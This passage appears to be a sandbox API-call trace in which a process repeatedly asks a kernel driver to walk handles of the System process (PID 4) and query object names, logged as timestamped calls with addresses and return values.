PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.435] PsAcquireProcessExitSynchronization () returned 0x0 [0119.435] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.435] ObReferenceObjectByHandle (in: Handle=0xffffffff800002d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030dd070, HandleInformation=0x0) returned 0x0 [0119.435] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.435] PsReleaseProcessExitSynchronization () returned 0x2 [0119.435] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.435] ObQueryNameString (in: Object=0xfffffa80030dd070, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.435] ObfDereferenceObject (Object=0xfffffa80030dd070) returned 0x1 [0119.435] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.435] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.435] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.435] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0119.435] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.435] PsAcquireProcessExitSynchronization () returned 0x0 [0119.435] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.435] ObReferenceObjectByHandle (in: Handle=0xffffffff800002dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030dda80, HandleInformation=0x0) returned 0x0 [0119.435] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.435] PsReleaseProcessExitSynchronization () returned 0x2 [0119.435] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.435] ObQueryNameString (in: Object=0xfffffa80030dda80, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.435] ObfDereferenceObject (Object=0xfffffa80030dda80) returned 0x1 [0119.435] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.435] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.435] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.435] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0119.435] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.435] PsAcquireProcessExitSynchronization () returned 0x0 [0119.435] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.435] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030dd7e0, HandleInformation=0x0) returned 0x0 [0119.436] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.436] PsReleaseProcessExitSynchronization () returned 0x2 [0119.436] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.436] ObQueryNameString (in: Object=0xfffffa80030dd7e0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.436] ObfDereferenceObject (Object=0xfffffa80030dd7e0) returned 0x1 [0119.436] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.436] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.436] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.436] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x140, lpOverlapped=0x0) returned 1 [0119.436] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.436] PsAcquireProcessExitSynchronization () returned 0x0 [0119.436] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.436] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800f8cfbe0, HandleInformation=0x0) returned 0x0 [0119.436] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.436] PsReleaseProcessExitSynchronization () returned 0x2 [0119.436] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.436] ObQueryNameString (in: Object=0xfffffa800f8cfbe0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.436] ObfDereferenceObject (Object=0xfffffa800f8cfbe0) returned 0x2 [0119.436] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.436] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.436] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.436] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x140, lpOverlapped=0x0) returned 1 [0119.436] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.436] PsAcquireProcessExitSynchronization () returned 0x0 [0119.436] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.436] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030dd610, HandleInformation=0x0) returned 0x0 [0119.436] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.436] PsReleaseProcessExitSynchronization () returned 0x2 [0119.436] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.436] ObQueryNameString (in: Object=0xfffffa80030dd610, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.436] ObfDereferenceObject (Object=0xfffffa80030dd610) returned 0x2 [0119.436] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.436] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.436] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.436] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0119.437] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.437] PsAcquireProcessExitSynchronization () returned 0x0 [0119.437] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.437] ObReferenceObjectByHandle (in: Handle=0xffffffff800002f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030c4f20, HandleInformation=0x0) returned 0x0 [0119.437] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.437] PsReleaseProcessExitSynchronization () returned 0x2 [0119.437] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.437] ObQueryNameString (in: Object=0xfffffa80030c4f20, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.437] ObfDereferenceObject (Object=0xfffffa80030c4f20) returned 0x1 [0119.437] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.437] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.437] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.437] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0119.437] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.437] PsAcquireProcessExitSynchronization () returned 0x0 [0119.437] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.437] ObReferenceObjectByHandle (in: Handle=0xffffffff800002f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030c4770, HandleInformation=0x0) returned 0x0 [0119.437] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.437] PsReleaseProcessExitSynchronization () returned 0x2 [0119.437] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.437] ObQueryNameString (in: Object=0xfffffa80030c4770, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.437] ObfDereferenceObject (Object=0xfffffa80030c4770) returned 0x2 [0119.437] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.437] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.437] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.437] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0119.437] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.437] PsAcquireProcessExitSynchronization () returned 0x0 [0119.437] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.437] ObReferenceObjectByHandle (in: Handle=0xffffffff8000031c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800d41c950, HandleInformation=0x0) returned 0x0 [0119.437] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.438] PsReleaseProcessExitSynchronization () returned 0x2 [0119.438] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.438] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.438] ObfDereferenceObject (Object=0xfffffa800d41c950) returned 0x12 [0119.438] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.438] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.438] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.438] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xf2, lpOverlapped=0x0) returned 1 [0119.438] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.438] PsAcquireProcessExitSynchronization () returned 0x0 [0119.438] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.438] ObReferenceObjectByHandle (in: Handle=0xffffffff80000320, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030f32a0, HandleInformation=0x0) returned 0x0 [0119.438] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.438] PsReleaseProcessExitSynchronization () returned 0x2 [0119.438] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.438] ObQueryNameString (in: Object=0xfffffa80030f32a0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.438] ObfDereferenceObject (Object=0xfffffa80030f32a0) returned 0x2 [0119.438] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.438] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.438] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.438] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0119.438] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.438] PsAcquireProcessExitSynchronization () returned 0x0 [0119.438] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.438] ObReferenceObjectByHandle (in: Handle=0xffffffff80000324, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030f28a0, HandleInformation=0x0) returned 0x0 [0119.438] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.438] PsReleaseProcessExitSynchronization () returned 0x2 [0119.438] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.438] ObQueryNameString (in: Object=0xfffffa80030f28a0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.438] ObfDereferenceObject (Object=0xfffffa80030f28a0) returned 0x1 [0119.439] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.439] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.439] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.439] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0119.439] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.439] PsAcquireProcessExitSynchronization () returned 0x0 [0119.439] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.439] ObReferenceObjectByHandle (in: Handle=0xffffffff80000328, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030f26d0, HandleInformation=0x0) returned 0x0 [0119.439] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.439] PsReleaseProcessExitSynchronization () returned 0x2 [0119.439] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.439] ObQueryNameString (in: Object=0xfffffa80030f26d0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.439] ObfDereferenceObject (Object=0xfffffa80030f26d0) returned 0x1 [0119.439] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.439] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.439] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.439] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0119.439] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.439] PsAcquireProcessExitSynchronization () returned 0x0 [0119.439] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.439] ObReferenceObjectByHandle (in: Handle=0xffffffff8000032c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030f8ea0, HandleInformation=0x0) returned 0x0 [0119.439] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.439] PsReleaseProcessExitSynchronization () returned 0x2 [0119.439] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.439] ObQueryNameString (in: Object=0xfffffa80030f8ea0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.439] ObfDereferenceObject (Object=0xfffffa80030f8ea0) returned 0x1 [0119.439] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.439] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.439] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.439] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x13c, lpOverlapped=0x0) returned 1 [0119.440] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.440] PsAcquireProcessExitSynchronization () returned 0x0 [0119.440] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.440] ObReferenceObjectByHandle (in: Handle=0xffffffff80000330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030ebcb0, HandleInformation=0x0) returned 0x0 [0119.440] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.440] PsReleaseProcessExitSynchronization () returned 0x2 [0119.440] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.440] ObQueryNameString (in: Object=0xfffffa80030ebcb0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.440] ObfDereferenceObject (Object=0xfffffa80030ebcb0) returned 0x2 [0119.440] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.440] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.440] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.440] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x13c, lpOverlapped=0x0) returned 1 [0119.440] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.440] PsAcquireProcessExitSynchronization () returned 0x0 [0119.440] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.440] ObReferenceObjectByHandle (in: Handle=0xffffffff80000334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030f8a90, HandleInformation=0x0) returned 0x0 [0119.440] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.440] PsReleaseProcessExitSynchronization () returned 0x2 [0119.440] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.440] ObQueryNameString (in: Object=0xfffffa80030f8a90, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.440] ObfDereferenceObject (Object=0xfffffa80030f8a90) returned 0x2 [0119.440] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.440] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.440] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.440] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0119.440] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.440] PsAcquireProcessExitSynchronization () returned 0x0 [0119.440] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.441] ObReferenceObjectByHandle (in: Handle=0xffffffff8000033c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030eb790, HandleInformation=0x0) returned 0x0 [0119.441] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.441] PsReleaseProcessExitSynchronization () returned 0x2 [0119.441] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.441] ObQueryNameString (in: Object=0xfffffa80030eb790, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.441] ObfDereferenceObject (Object=0xfffffa80030eb790) returned 0x1 [0119.441] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.441] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.441] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.441] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0119.441] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.441] PsAcquireProcessExitSynchronization () returned 0x0 [0119.441] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.441] ObReferenceObjectByHandle (in: Handle=0xffffffff80000340, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800c9c02a0, HandleInformation=0x0) returned 0x0 [0119.441] KeUnstackDetachProcess 